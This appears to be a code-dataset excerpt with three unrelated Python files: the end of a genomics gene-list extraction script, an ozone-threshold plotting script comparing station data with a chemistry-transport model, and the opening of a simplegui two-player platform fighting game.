file.endswith(str(args.ovlp)+'ol_genes.gff') == True:\r\n gff.append(file)\r\ngff.sort()\r\n\r\nprint(' Found '+str(len(gff))+' gff candidate files to select genes:')\r\ncount = 0\r\nfor file in gff:\r\n print('Processing '+str(file))\r\n basename = file.replace('.gff', '')\r\n gcmd = open(outputdir+'sed.unix', 'w')\r\n gcmd.write(\"\"\"sed -n -e 's/^.*;Parent=//p' \"\"\")\r\n gcmd.write(outputdir+file+' | sort -u > '+outputdir+basename+'.txt')\r\n gcmd.close()\r\n\r\n #run in unix\r\n cmd = (open(outputdir+'sed.unix', 'r'))\r\n p = subprocess.Popen(cmd, shell=True)\r\n sts = os.waitpid(p.pid, 0)[1]\r\n\r\n count +=1\r\n\r\nprint('\\nExtracted gene lists from '+str(count)+' bedfiles\\n')\r\nos.remove(outputdir+'sed.unix')\r\n\r\n\r\n###### STEP 3 ######\r\n# create interval list file in bed format for candidate genes\r\nprint('\\n\\tStep 3: Create interval bedfiles for candidate genes\\n')\r\ninlist = []\r\nfor dirName, subdirList, fileList in os.walk(outputdir):\r\n for file in fileList:\r\n if file.endswith(str(args.ovlp)+'ol_genes.gff'):\r\n inlist.append(file)\r\ninlist.sort()\r\nprint('Found '+str(len(inlist))+' gff candidate files to obtain intervals:')\r\n\r\nfor file in inlist:\r\n print(' Processing '+str(file))\r\n basename = file.replace('_genes.gff','')\r\n infile = open(outputdir+file,'r')\r\n outfile = open(outputdir+basename+'_intervals.bed', 'w')\r\n for line in infile:\r\n data = line.split()\r\n bedstart = int(data[3])-1\r\n outfile.write(data[0]+'\\t'+str(bedstart)+'\\t'+data[4]+'\\t'+data[8]+'\\n')\r\n infile.close()\r\n outfile.close()\r\n\r\nprint('\\nCreated '+str(count)+' candidate interval bedfiles\\n')\r\n\r\n\r\n###### Step 4 ######\r\n# obtain gene onthologies from A. thaliana orthologs\r\nprint('\\n\\tSTEP 4: Obtain GO terms for gene lists\\n')\r\n\r\na = []\r\nfor dirName, subdirList, fileList in os.walk(outputdir):\r\n for file in fileList:\r\n if file.endswith(str(args.ovlp)+'ol_genes.txt') == True:\r\n a.append(file)\r\na.sort()\r\n\r\nprint('Found '+str(len(a))+' genelists to select genes:')\r\n\r\ncount = 0\r\nfor file in a:\r\n print(' Processing '+str(file))\r\n basename = file.replace('.txt', '')\r\n outfile = open(outputdir+basename+'_GF.txt', 'w')\r\n query = open(outputdir+file, 'r')\r\n for tline in query:\r\n line = tline.replace('\\n', '')\r\n test = open(args.gf, 'r')\r\n for testline in test:\r\n data = testline.split('\\t')\r\n if line in data[0]:\r\n outfile.write(data[0]+'\\t'+data[1]+'\\t'+data[3]+'\\t'+data[4]+'\\t'+data[5]+'\\t'+data[6]+'\\n')\r\n query.close()\r\n outfile.close()\r\n count +=1\r\n\r\nprint('\\nObtained Arabidopsis thaliana ortholog gene function for '+str(count)+' outlier gene lists\\n')\r\n#os.remove(outputdir+'GF_grep.unix')\r\nprint('\\n\\tDONE\\n')\r\n","repo_name":"pmonnahan/GenomeScan","sub_path":"G2_genes_slurm_OLD.py","file_name":"G2_genes_slurm_OLD.py","file_ext":"py","file_size_in_byte":7135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8052324891","text":"# Clean up\nplt.close('all')\n\n# Plot it\nfig1 = plt.figure(1, figsize=(16,9))\nax11 = plt.subplot()\noccu_model = []\noccu_data = []\nfor aot in np.arange(10,65,5):\n ratio = float(data_karasjok_o3.where(data_karasjok_o3>aot).dropna().size)/data_karasjok_o3.dropna().size\n occu_data.append(ratio)\n print(\"data: threashold%d: %1.2f\" % (aot, ratio))\n ratio = float((sel_data_o3*scale.values).where(sel_data_o3*scale.values>aot, drop=True).time.size)/(sel_data_o3*scale.values).time.size\n occu_model.append(ratio)\n print(\"model: threashold%d: %1.2f\" % (aot, ratio))\n\nax11.plot(np.arange(10,65,5), np.array(occu_data)*100, marker='x', color='grey', ls=':', label=\"Karasjok\")\nax11.plot(np.arange(10,65,5), np.array(occu_model)*100, color='blue', label=\"OsloCTM3v1.0\")\nax11.legend()\nax11.set_xlabel(\"$[O_3]$ threashold (ppt)\")\nax11.set_ylabel(\"$N_{[O_3]>threashold}/N_{tot}$ (%)\")\n\nfig2 = plt.figure(2, figsize=(16,9))\nax21 = plt.subplot()\n\n(sel_data_o3*scale.values).groupby('time.year').apply(lambda x: x.where(x>40).count()/x.count().astype(float))['O3'].plot(ax=ax21, label=\"OsloCTM3v1.0\")\n(sel_data_o3*scale.values).where((sel_data_o3.time.dt.month>=6) & (sel_data_o3.time.dt.month<9)).groupby('time.year').apply(lambda x: x.where(x>40).count()/x.count().astype(float))['O3'].plot(ax=ax21, ls='--', color='blue', label=\"OsloCTM3v1.0 - summer\")\n\ndata_karasjok_o3['O3'].groupby(data_karasjok_o3.index.year).apply(lambda x: x.where((x.index.month>=6) & (x.index.month<9) & (x>40)).count()/x.count().astype(float)).plot(ax=ax21, color='grey', ls=':', marker='x', label=\"Karasjok\")\ndata_karasjok_o3.groupby(data_karasjok_o3.index.year).apply(lambda x: x.where(x>40).count()/x.count().astype(float))['O3'].plot(ax=ax21, color='grey', ls='--', marker='v', label=\"Karasjok - summer\")\n\nax21.legend()\nax21.set_xlabel(\"Time (year)\")\n#ax21.set_ylabel(\"Ratio\")\n# Show it\nplt.show(block=False)\n","repo_name":"ziu1986/python_scripts","sub_path":"ozone_metrics/plot_high_ozone_events.py","file_name":"plot_high_ozone_events.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11178295889","text":"import simplegui, random\r\n#1v1 multiplayer game written by Jason Wang\r\n\r\n# Global fixed variables\r\n\r\n#images\r\nTITLE = simplegui.load_image(\"https://i.imgur.com/dOOfQtW.png\")\r\nBACKGROUND = simplegui.load_image(\"https://i.imgur.com/g8jzZGy.png\")\r\nMAIN_MENU_BG = simplegui.load_image(\"https://i.imgur.com/ZcaUSEw.png\")\r\nMAIN_MENU_BG_BUILDING = simplegui.load_image(\"https://i.imgur.com/ARyhm9L.png\")\r\nCONTROLS = simplegui.load_image(\"https://i.imgur.com/amx0Tik.png\")\r\nRULES = simplegui.load_image(\"https://i.imgur.com/Jw3xeWB.png\")\r\nPAUSE_BUTTON = simplegui.load_image(\"https://i.imgur.com/Ecu4sSm.png\")\r\nPLAY_BUTTON = simplegui.load_image(\"https://i.imgur.com/ZZKSsgq.png\")\r\nBACK_BUTTON = simplegui.load_image(\"https://i.imgur.com/zOiSoe6.png\")\r\nCONTROLS_BUTTON = simplegui.load_image(\"https://i.imgur.com/nklW9s9.png\")\r\nCONTINUE_BUTTON = simplegui.load_image(\"https://i.imgur.com/fHh2rgx.png\")\r\nRESUME_BUTTON = simplegui.load_image(\"https://i.imgur.com/Uhl4xG5.png\")\r\nRETURN_TO_MAIN_MENU_BUTTON = simplegui.load_image(\"https://i.imgur.com/oSa0Mp2.png\")\r\nRESTART_BUTTON = simplegui.load_image(\"https://i.imgur.com/NLPFtK7.png\")\r\nINFO_BUTTON = simplegui.load_image(\"https://i.imgur.com/qApcCMO.png\")\r\nPLAY_AGAIN_BUTTON = simplegui.load_image(\"https://i.imgur.com/BTyu6P2.png\")\r\nIDLE_LEFT = simplegui.load_image(\"https://i.imgur.com/JCXglog.png\")\r\nIDLE_RIGHT = simplegui.load_image(\"https://i.imgur.com/pdlyVjG.png\")\r\nRUN_LEFT = simplegui.load_image(\"https://i.imgur.com/D9dGuAq.png\")\r\nRUN_RIGHT = simplegui.load_image(\"https://i.imgur.com/YBtZxgP.png\")\r\nLADDER_CLIMB = simplegui.load_image(\"https://i.imgur.com/W3FL6Z8.png\")\r\nIDLE_GUN_LEFT = simplegui.load_image(\"https://i.imgur.com/XOHauOp.png\")\r\nIDLE_GUN_RIGHT = simplegui.load_image(\"https://i.imgur.com/mUV3uyH.png\")\r\nIDLE_KNIFE_LEFT = simplegui.load_image(\"https://i.imgur.com/KPy0rSO.png\")\r\nIDLE_KNIFE_RIGHT = simplegui.load_image(\"https://i.imgur.com/9K9keBA.png\")\r\nRUN_LEFT_GUN = simplegui.load_image(\"https://i.imgur.com/ujaSlDc.png\")\r\nRUN_RIGHT_GUN = simplegui.load_image(\"https://i.imgur.com/O60EfoG.png\")\r\nRUN_LEFT_KNIFE = simplegui.load_image(\"https://i.imgur.com/8eiRGcy.png\")\r\nRUN_RIGHT_KNIFE = simplegui.load_image(\"https://i.imgur.com/SWHjr5b.png\")\r\nSHOOTING_LEFT = simplegui.load_image(\"https://i.imgur.com/9wgpkZx.png\")\r\nSHOOTING_RIGHT = simplegui.load_image(\"https://i.imgur.com/3CJ56vL.png\")\r\nPUNCHING_LEFT = simplegui.load_image(\"https://i.imgur.com/TuyMEW7.png\")\r\nPUNCHING_RIGHT = simplegui.load_image(\"https://i.imgur.com/eUXy3KR.png\")\r\nMELEE_LEFT = simplegui.load_image(\"https://i.imgur.com/0TN6Lc0.png\")\r\nMELEE_RIGHT = simplegui.load_image(\"https://i.imgur.com/2iRkhCO.png\")\r\nDIE_LEFT = simplegui.load_image(\"https://i.imgur.com/8ti2mfw.png\")\r\nDIE_RIGHT = simplegui.load_image(\"https://i.imgur.com/i9DAqWL.png\")\r\nDEAD_LEFT = simplegui.load_image(\"https://i.imgur.com/I19b1LQ.png\")\r\nDEAD_RIGHT = simplegui.load_image(\"https://i.imgur.com/e4teMiZ.png\")\r\nGUN = simplegui.load_image(\"https://i.imgur.com/FtF34t1.png\")\r\nGUN_PROMPT = simplegui.load_image(\"https://i.imgur.com/200ASMz.png\")\r\nKNIFE = simplegui.load_image(\"https://i.imgur.com/TzOdQyX.png\")\r\nKNIFE_PROMPT = simplegui.load_image(\"https://i.imgur.com/pCslETb.png\")\r\nBULLET_LEFT = simplegui.load_image(\"https://i.imgur.com/kNilD1e.png\")\r\nBULLET_RIGHT = simplegui.load_image(\"https://i.imgur.com/NlhtEay.png\")\r\nHEALTH_PACKAGE = simplegui.load_image(\"https://i.imgur.com/luqWFQY.png\")\r\nHEALTH_PACKAGE_PROMPT = simplegui.load_image(\"https://i.imgur.com/7E7NXva.png\")\r\nHP_FADE = simplegui.load_image(\"https://i.imgur.com/Zr3XcBL.png\")\r\nGUN_FADE = simplegui.load_image(\"https://i.imgur.com/xQ7kSXu.png\")\r\nKNIFE_FADE = simplegui.load_image(\"https://i.imgur.com/PkrJgg4.png\")\r\nPLATFORM = simplegui.load_image(\"https://i.imgur.com/rlHXVLb.png\")\r\nWALL = simplegui.load_image(\"https://i.imgur.com/s4n6iIz.png\")\r\nLADDER = simplegui.load_image(\"https://i.imgur.com/kUY5GNU.png\")\r\nGROUND_IMG = simplegui.load_image(\"https://i.imgur.com/pfDKDCq.png\")\r\nP1_FIST_SLOT = simplegui.load_image(\"https://i.imgur.com/FfIq7EF.png\")\r\nP1_KNIFE_SLOT = simplegui.load_image(\"https://i.imgur.com/8qzekM2.png\")\r\nP1_GUN_SLOT = simplegui.load_image(\"https://i.imgur.com/Olw2njv.png\")\r\nP2_FIST_SLOT = simplegui.load_image(\"https://i.imgur.com/2J5F3qq.png\")\r\nP2_KNIFE_SLOT = simplegui.load_image(\"https://i.imgur.com/ESBstJo.png\")\r\nP2_GUN_SLOT = simplegui.load_image(\"https://i.imgur.com/s6UGI34.png\")\r\n\r\n#game constants\r\nFRAME_WIDTH = 1400\r\nFRAME_HEIGHT = 850\r\nGRAVITY = 1\r\nGROUND = 800\r\nBGRD_SPEED = 3\r\nBGRD_SPEED_SKY = 1\r\n\r\nPLAYER_SIZE = (300, 200)\r\nPLAYER_WIDTH = 90\r\nPLAYER_HEIGHT = 90\r\nPLAYER_SPEED = 5\r\nPLAYER_HEALTH = 100\r\nPLAYER_1_STARTING_POS = [[1300, 100], [1200, 300], [1200, 700]]\r\nPLAYER_2_STARTING_POS = [[70, 150], [70, 400], [70, 700]]\r\n\r\nCLIMB_VEL = 5\r\nJUMP_VEL = 15\r\n\r\nBULLET_SIZE = (100, 100)\r\nBULLET_WIDTH = 20\r\nBULLET_HEIGHT = 3\r\nBULLET_SPEED = 30 # horizontal only\r\n\r\nGUN_SIZE = (250, 250)\r\nGUN_WIDTH = 80\r\nGUN_HEIGHT = 20\r\nKNIFE_SIZE = (300, 300)\r\nKNIFE_WIDTH = 70\r\nKNIFE_HEIGHT = 18\r\nHP_SIZE = (200, 200)\r\nHP_WIDTH = 50\r\nHP_HEIGHT = 40\r\nITEM_LIFE_SPAN = 1200\r\nITEM_FADE_SPAN = 450\r\n\r\nPUNCH_RANGE = 65 #from center\r\nWEAPON_RANGE = 75 #from center\r\n\r\nDURABILITY = 7\r\nEXTRA_MAGS = 1\r\nAMMO = 31\r\n\r\nplayer_1_score = 0\r\nplayer_2_score = 0\r\nround_winner = 'none'\r\nwinner = 'none'\r\n\r\n\r\n#sounds\r\nbgrd_music = simplegui.load_sound('https://opengameart.org/sites/default/files/Planetrise%20v1_0.mp3')\r\nin_game_music = simplegui.load_sound('https://opengameart.org/sites/default/files/Fight%20Amidst%20the%20Destruction%20-intro%20-loop%4029.825s.mp3')\r\ngun_shot = simplegui.load_sound('https://retired.sounddogs.com/previews/28/mp3/296715_SOUNDDOGS__ri.mp3')\r\nempty_gun_shot = simplegui.load_sound('https://retired.sounddogs.com/previews/25/mp3/309407_SOUNDDOGS__gu.mp3')\r\npunch_sound = simplegui.load_sound('https://retired.sounddogs.com/previews/25/mp3/386871_SOUNDDOGS__sp.mp3')\r\nweapon_swing = simplegui.load_sound('https://retired.sounddogs.com/previews/42/mp3/432447_SOUNDDOGS__wh.mp3')\r\nweapon_breaking = simplegui.load_sound('https://retired.sounddogs.com/previews/2665/mp3/1122611_SOUNDDOGS__sm.mp3')\r\ncocking_gun = simplegui.load_sound('https://retired.sounddogs.com/previews/2665/mp3/1143055_SOUNDDOGS__sm.mp3')\r\nweapon_shing = simplegui.load_sound('https://retired.sounddogs.com/previews/106/mp3/529560_SOUNDDOGS__kn.mp3')\r\nplayer_death = simplegui.load_sound('https://opengameart.org/sites/default/files/game_over_bad_chest.wav')\r\nbutton_selected = simplegui.load_sound('https://retired.sounddogs.com/previews/3179/mp3/317962_SOUNDDOGS__tw.mp3')\r\nbutton_selected.set_volume(0.2)\r\n\r\n #img size\r\nIMG_DICT = {BACKGROUND: (200, 200), GUN: (100, 100), GUN_PROMPT: (100, 100),\r\n KNIFE: (100, 100), KNIFE_PROMPT: (100, 100), BULLET_LEFT: (100, 100), BULLET_RIGHT: (100, 100), \r\n HEALTH_PACKAGE: (100, 100), HEALTH_PACKAGE_PROMPT: (100, 100), PLATFORM: (100, 100), WALL: (100, 100),\r\n LADDER: (100, 100), GROUND_IMG: (100, 100), P1_FIST_SLOT: (100, 100), P1_KNIFE_SLOT: (100, 100),\r\n P1_GUN_SLOT: (100, 100), P2_FIST_SLOT: (100, 100), P2_KNIFE_SLOT: (100, 100), P2_GUN_SLOT: (100, 100),\r\n MAIN_MENU_BG: (400, 200), MAIN_MENU_BG_BUILDING: (400, 200), PAUSE_BUTTON: (48, 48), CONTROLS: (200, 200),\r\n PLAY_BUTTON: (56, 24), BACK_BUTTON: (56, 24), CONTROLS_BUTTON: (56, 24), RESUME_BUTTON: (56, 24), \r\n RETURN_TO_MAIN_MENU_BUTTON: (56, 24), RESTART_BUTTON: (56, 24), PLAY_AGAIN_BUTTON: (56, 24), CONTINUE_BUTTON: (56, 24),\r\n INFO_BUTTON: (56, 24), RULES: (200, 200), TITLE: (301, 37)}\r\n\r\n # col, row, cols\r\nSPRITE_DICT = {IDLE_LEFT: (200/2, 100/1, 2), IDLE_RIGHT: (200/2, 100/1, 2),\r\n RUN_LEFT: (200/2, 200/2, 2), RUN_RIGHT: (200/2, 200/2, 2),\r\n LADDER_CLIMB: (200/2, 100, 2),\r\n IDLE_GUN_LEFT: (200/2, 100/1, 2), IDLE_GUN_RIGHT: (200/2, 100/1, 2),\r\n IDLE_KNIFE_LEFT: (200/2, 100/1, 2), IDLE_KNIFE_RIGHT: (200/2, 100/1, 2),\r\n RUN_LEFT_GUN: (200/2, 200/2, 2), RUN_RIGHT_GUN: (200/2, 200/2, 2),\r\n RUN_LEFT_KNIFE: (200/2, 200/2, 2), RUN_RIGHT_KNIFE: (200/2, 200/2, 2),\r\n SHOOTING_LEFT: (500/5, 100/1, 5), SHOOTING_RIGHT: (500/5, 100/1, 5),\r\n PUNCHING_LEFT: (500/5, 100/1, 5), PUNCHING_RIGHT: (500/5, 100/1, 5),\r\n MELEE_LEFT: (200/2, 200/2, 2), MELEE_RIGHT: (200/2, 200/2, 2),\r\n HP_FADE: (400/4, 500/5, 4), GUN_FADE: (400/4, 500/5, 4), KNIFE_FADE: (400/4, 500/5, 4),\r\n DIE_LEFT: (200/2, 200/2, 2), DIE_RIGHT: (200/2, 200/2, 2), DEAD_LEFT: (100/1, 100/1, 1),\r\n DEAD_RIGHT: (100/1, 100/1, 1)}\r\n\r\n#code for the scrolling background in main menu\r\nscroll_width, scroll_height = IMG_DICT[MAIN_MENU_BG]\r\nbgrd_pos_sky = [FRAME_WIDTH/2, FRAME_HEIGHT/2]\r\nbgrd_pos_building = [FRAME_WIDTH/2, FRAME_HEIGHT/2]\r\n\r\ndef new_game():\r\n global player_1_score, player_2_score, should_check\r\n should_check = True\r\n player_1_score = 4\r\n player_2_score = 0\r\n new_round()\r\n \r\n#for each round\r\ndef new_round():\r\n global players, player_1, player_2, bullets, guns, health_packages, walls, platforms, ladders, weapons, game_time, should_check\r\n \r\n # Object lists\r\n players = []\r\n bullets = []\r\n guns = []\r\n weapons = []\r\n health_packages = []\r\n walls = []\r\n platforms = []\r\n ladders = []\r\n game_time = 1000\r\n should_check = True\r\n \r\n #choosing between 1 of 3 spawn locations \r\n player_1 = Player(IDLE_LEFT, 30, random.choice(PLAYER_1_STARTING_POS), [0, 0], PLAYER_HEALTH)\r\n player_2 = Player(IDLE_RIGHT, 30, random.choice(PLAYER_2_STARTING_POS), [0, 0], PLAYER_HEALTH)\r\n player_1.left = True\r\n player_2.right = True\r\n \r\n players.append(player_1)\r\n players.append(player_2)\r\n walls.append(Wall(WALL, 1300, 1400, 240, 800, [1350, 520], [290, 840]))\r\n platforms.append(Platform(PLATFORM, 1100, 1400, 700, 702, [1250, 701]))\r\n platforms.append(Platform(PLATFORM, 1100, 1400, 598, 600, [1250, 599]))\r\n platforms.append(Platform(PLATFORM, 800, 1400, 496, 498, [1100, 497]))\r\n platforms.append(Platform(PLATFORM, 600, 1300, 240, 242, [950, 241])) \r\n platforms.append(Platform(PLATFORM, 0, 300, 298, 300, [150, 299]))\r\n platforms.append(Platform(PLATFORM, 0, 150, 548, 550, [75, 549]))\r\n platforms.append(Platform(PLATFORM, 250, 350, 548, 550, [300, 549])) \r\n ladders.append(Ladder(LADDER, 699, 799, 242, 800, [749, 521], [370, 720])) \r\n ladders.append(Ladder(LADDER, 150, 250, 300, 800, [200, 550], [370, 645]))\r\n \r\n #guns.append(Gun(GUN, [500, 500], False, 1, 31))\r\n #guns.append(Gun(GUN, [700, 700], False, 1, 31))\r\n #weapons.append(Weapon(KNIFE, [300, 300], False, 7))\r\n #health_packages.append(HealthPackage(HEALTH_PACKAGE, [1000, 750])) \r\n\r\n##########################################################################\r\n \r\n# Helper methods\r\n#for generating random coords for item spawning\r\ndef random_pos(object):\r\n valid = False\r\n while not valid:\r\n \r\n x_pos = random.randint(0, FRAME_WIDTH)\r\n y_pos = random.randint(0, FRAME_HEIGHT)\r\n \r\n #checks to make sure the object doesn't spawn in a wall or in the ground\r\n if object == 'knife':\r\n for wall in walls:\r\n if not wall.collide([x_pos, y_pos], KNIFE_WIDTH, KNIFE_HEIGHT) and inbounds([x_pos, y_pos], KNIFE_WIDTH, KNIFE_HEIGHT) and y_pos < GROUND:\r\n valid = True\r\n elif object == 'gun':\r\n for wall in walls:\r\n if not wall.collide([x_pos, y_pos], GUN_WIDTH, GUN_HEIGHT) and inbounds([x_pos, y_pos], GUN_WIDTH, GUN_HEIGHT) and y_pos < GROUND:\r\n valid = True\r\n elif object == 'hp':\r\n for wall in walls:\r\n if not wall.collide([x_pos, y_pos], HP_WIDTH, HP_HEIGHT) and inbounds([x_pos, y_pos], HP_WIDTH, HP_HEIGHT) and y_pos < GROUND:\r\n valid = True\r\n \r\n pos = [x_pos, y_pos]\r\n \r\n return pos\r\n\r\n#boolean for checking if an object is inbounds\r\ndef inbounds(pos, width, height):\r\n in_x = pos[0] > 0 + width/2 and pos[0] < FRAME_WIDTH - width/2\r\n in_y = pos[1] > 0 + height/2 and pos[1] <= FRAME_HEIGHT - height/2\r\n return in_x and in_y\r\n\r\n#boolean for seeing if a player takes damage from a punch\r\ndef can_punch(attacker, victim):\r\n can_y = victim.pos[1] <= attacker.pos[1] + PLAYER_HEIGHT/2 and victim.pos[1] >= attacker.pos[1] - PLAYER_HEIGHT/2\r\n if attacker.left:\r\n can_x = victim.pos[0] <= attacker.pos[0] and victim.pos[0] + PLAYER_WIDTH/2 >= attacker.pos[0] - PUNCH_RANGE\r\n \r\n else:\r\n can_x = victim.pos[0] >= attacker.pos[0] and victim.pos[0] - PLAYER_WIDTH/2 <= attacker.pos[0] + PUNCH_RANGE\r\n \r\n return can_x and can_y\r\n\r\n#boolean for seeing if a player take damage from a melee strike\r\ndef can_melee(attacker, victim):\r\n can_y = victim.pos[1] <= attacker.pos[1] + PLAYER_HEIGHT/2 and victim.pos[1] >= attacker.pos[1] - PLAYER_HEIGHT/2\r\n if attacker.left:\r\n can_x = victim.pos[0] <= attacker.pos[0] and victim.pos[0] + PLAYER_WIDTH/2 >= attacker.pos[0] - WEAPON_RANGE\r\n \r\n else:\r\n can_x = victim.pos[0] >= attacker.pos[0] and victim.pos[0] - PLAYER_WIDTH/2 <= attacker.pos[0] + WEAPON_RANGE\r\n \r\n return can_x and can_y\r\n\r\n#boolean for seeing if a player has been shot\r\ndef been_shot(player_pos, bullet_pos):\r\n x = bullet_pos[0] >= player_pos[0] - PLAYER_WIDTH/2 and bullet_pos[0] <= player_pos[0] + PLAYER_WIDTH/2\r\n y = bullet_pos[1] <= player_pos[1] + PLAYER_HEIGHT/2 and bullet_pos[1] >= player_pos[1] - PLAYER_HEIGHT/2\r\n return x and y\r\n\r\nshould_check = True\r\n#checks if a player has died yet, and if a player has 5 points or not\r\ndef check():\r\n global player_1_score, player_2_score, should_check, round_winner, winner\r\n \r\n #if player 2 won the round \r\n if not player_1.alive and player_2.alive:\r\n player_2_score += 1 \r\n should_check = False\r\n round_winner = 'player_2'\r\n if player_2_score == 5:\r\n winner = 'player_2'\r\n \r\n #if player 1 won the round\r\n elif not player_2.alive and player_1.alive:\r\n player_1_score += 1 \r\n should_check = False\r\n round_winner = 'player_1'\r\n if player_1_score == 5:\r\n winner = 'player_1'\r\n \r\n #if there is a draw (both die at the same time)\r\n elif not player_1.alive and not player_1.alive:\r\n should_check = False\r\n round_winner = 'draw'\r\n \r\n##########################################################################\r\n\r\n# Classes\r\nclass Player:\r\n def __init__(self, image, diff, position, velocity, health):\r\n self.image = image \r\n self.pos = [position[0], position[1]]\r\n self.vel = velocity\r\n self.hp = health\r\n self.time = 0\r\n self.diff = diff #adjusts the FPS of sprite drawings\r\n self.alive = True\r\n self.frames = 2 #the number of frames in each sprite\r\n self.done_dying = False\r\n \r\n self.can_climb = False #can climb or not\r\n self.climbing = False #in the action of climbing or not\r\n self.left = False\r\n self.right = False\r\n self.is_jumping = False\r\n self.can_run = True\r\n self.is_running = False\r\n self.idling = True\r\n self.falling_from_ladder = False\r\n self.on_wall = False\r\n self.stuck = False\r\n self.shooting = False\r\n self.shooting_time = 0 #prevents player from being able to shoot faster by single tapping compared to holding\r\n self.punching = False\r\n self.meleeing = False\r\n \r\n self.has_gun = False\r\n self.using_gun = False\r\n self.has_weapon = False\r\n self.using_weapon = False\r\n \r\n self.dura = 0 #durability \r\n self.extra_mags = 0\r\n self.ammo = 0\r\n \r\n def draw(self, canvas):\r\n if self.alive and not self.stuck:\r\n #climbing ladder\r\n if self.can_climb and self.climbing:\r\n self.image = LADDER_CLIMB\r\n self.diff = 12\r\n self.frames = 2\r\n #standing still on ladder\r\n elif self.can_climb and not self.idling and not self.can_run:\r\n self.image = LADDER_CLIMB\r\n self.diff = 999999999\r\n self.frames = 1\r\n #running with gun \t\t\t\t\t\t\t\t\t\t\t #falling off ladder scenario\r\n elif self.is_running and not self.climbing and self.using_gun or self.is_running and self.falling_from_ladder and self.using_gun:\r\n self.image = RUN_LEFT_GUN if self.left else RUN_RIGHT_GUN\r\n self.diff = 10\r\n self.frames = 4 \r\n #running with weapon\t\t\t\t\t\t\t\t\t\t\t\t#falling off ladder scenario\r\n elif self.is_running and not self.climbing and self.using_weapon or self.is_running and self.falling_from_ladder and self.using_weapon:\r\n self.image = RUN_LEFT_KNIFE if self.left else RUN_RIGHT_KNIFE\r\n self.diff = 10\r\n self.frames = 4\r\n #running\t\t\t\t\t\t\t\t\t\t#falling off ladder scenario\r\n elif self.is_running and not self.climbing or self.is_running and self.falling_from_ladder:\r\n self.image = RUN_LEFT if self.left else RUN_RIGHT\r\n self.diff = 10\r\n self.frames = 4\r\n #idling with gun \r\n elif self.idling and not self.climbing and self.using_gun:\r\n self.image = IDLE_GUN_LEFT if self.left else IDLE_GUN_RIGHT\r\n self.diff = 30\r\n self.frames = 2 \r\n #idling with weapon\r\n elif self.idling and not self.climbing and self.using_weapon:\r\n self.image = IDLE_KNIFE_LEFT if self.left else IDLE_KNIFE_RIGHT\r\n self.diff = 30\r\n self.frames = 2\r\n #idling\r\n elif self.idling and not self.climbing:\r\n self.image = IDLE_LEFT if self.left else IDLE_RIGHT\r\n self.diff = 30\r\n self.frames = 2\r\n \r\n elif self.alive and self.stuck:\r\n #shooting with gun\r\n if self.using_gun:\r\n if self.ammo > 0 and self.shooting:\r\n self.image = SHOOTING_LEFT if self.left else SHOOTING_RIGHT\r\n self.diff = 4\r\n self.frames = 5 \r\n else:\r\n self.image = IDLE_GUN_LEFT if self.left else IDLE_GUN_RIGHT\r\n self.diff = 30\r\n self.frames = 2\r\n #punching\r\n elif self.punching:\r\n self.image = PUNCHING_LEFT if self.left else PUNCHING_RIGHT\r\n self.diff = 3\r\n self.frames = 4\r\n \r\n if self.time == self.diff * self.frames - 1:\r\n self.punching = False\r\n self.stuck = False\r\n self.time = 0\r\n #using weapon \r\n elif self.meleeing:\r\n if self.using_weapon and self.meleeing:\r\n self.image = MELEE_LEFT if self.left else MELEE_RIGHT\r\n self.diff = 6\r\n self.frames = 4\r\n \r\n if self.time == self.diff * self.frames -1:\r\n self.meleeing = False\r\n self.stuck = False\r\n self.time = 0\r\n \r\n #if durability of weapon is 0\r\n if self.dura == 0:\r\n self.has_weapon = False\r\n self.using_weapon = False\r\n weapon_breaking.set_volume(0.4)\r\n weapon_breaking.rewind()\r\n weapon_breaking.play()\r\n \r\n else:\r\n self.image = IDLE_LEFT if self.left else IDLE_RIGHT\r\n self.diff = 30\r\n self.frames = 2\r\n \r\n else:\r\n \r\n #death animation, in the midst of dying\r\n if not self.done_dying:\r\n self.image = DIE_LEFT if self.left else DIE_RIGHT\r\n self.diff = 10\r\n self.frames = 4\r\n if self.time == self.diff * self.frames -1:\r\n self.done_dying = True\r\n \r\n #if death animation is done\r\n else:\r\n self.image = DEAD_LEFT if self.left else DEAD_RIGHT\r\n self.diff = 1\r\n self.frames = 1\r\n \r\n \r\n width, height, cols = SPRITE_DICT[self.image] \r\n col = int(self.time/self.diff) % cols\r\n row = int(self.time/self.diff) // cols\r\n center_x = width / 2 + (col)*width\r\n center_y = height/2 + (row)*height\r\n canvas.draw_image(self.image,\r\n (center_x, center_y),\r\n (width, height),\r\n self.pos,\r\n PLAYER_SIZE) \r\n \r\n def update(self):\r\n global next_pos\r\n current_vel = self.vel[1]\r\n \r\n if self.stuck:\r\n if not self.is_jumping:\r\n self.vel[0] = 0\r\n self.is_running = False\r\n self.idling = True\r\n \r\n next_pos = [self.pos[0] + self.vel[0], self.pos[1] + self.vel[1]] \r\n wall_collision = False\r\n on_platform = False\r\n self.can_climb = False\r\n on_top_ladder = False \r\n \r\n #checking for wall collision\r\n for wall in walls:\r\n if wall.collide(next_pos, PLAYER_WIDTH, PLAYER_HEIGHT):\r\n self.on_wall = True\r\n wall_collision = True\r\n \r\n if self.pos[1] <= wall.top - PLAYER_HEIGHT/2:\r\n self.pos[1] = wall.top - PLAYER_HEIGHT/2\r\n self.vel[1] = 0\r\n self.on_wall = True\r\n self.is_jumping = False\r\n else:\r\n self.on_wall = False\r\n \r\n #checking if on a platform\r\n for platform in platforms:\r\n near = platform.on_top(next_pos, PLAYER_WIDTH, PLAYER_HEIGHT)\r\n if near:\r\n if self.pos[1] <= platform.top - PLAYER_HEIGHT/2:\r\n self.pos[1] = platform.top - PLAYER_HEIGHT/2\r\n self.vel[1] = 0\r\n self.is_jumping = False\r\n on_platform = True\r\n self.falling_from_ladder = False\r\n \r\n #checking if in the range of a ladder \r\n for ladder in ladders:\r\n if ladder.in_ladder(next_pos, PLAYER_WIDTH, PLAYER_HEIGHT) and not self.is_jumping:\r\n self.can_climb = True\r\n if self.pos[1] + PLAYER_HEIGHT/2 < ladder.bot:\r\n if not self.pos[1] < ladder.top:\r\n self.idling = False\r\n if self.inside_ladder(self.pos) and next_pos[1] < ladder.top - PLAYER_HEIGHT/2:\r\n self.idling = True\r\n on_top_ladder = True\r\n \r\n #checks if player is falling from a ladder\r\n if self.inside_ladder(self.pos) and not self.inside_ladder(next_pos):\r\n self.falling_from_ladder = True\r\n self.can_climb = False\r\n self.climbing = False\r\n if not on_top_ladder:\r\n 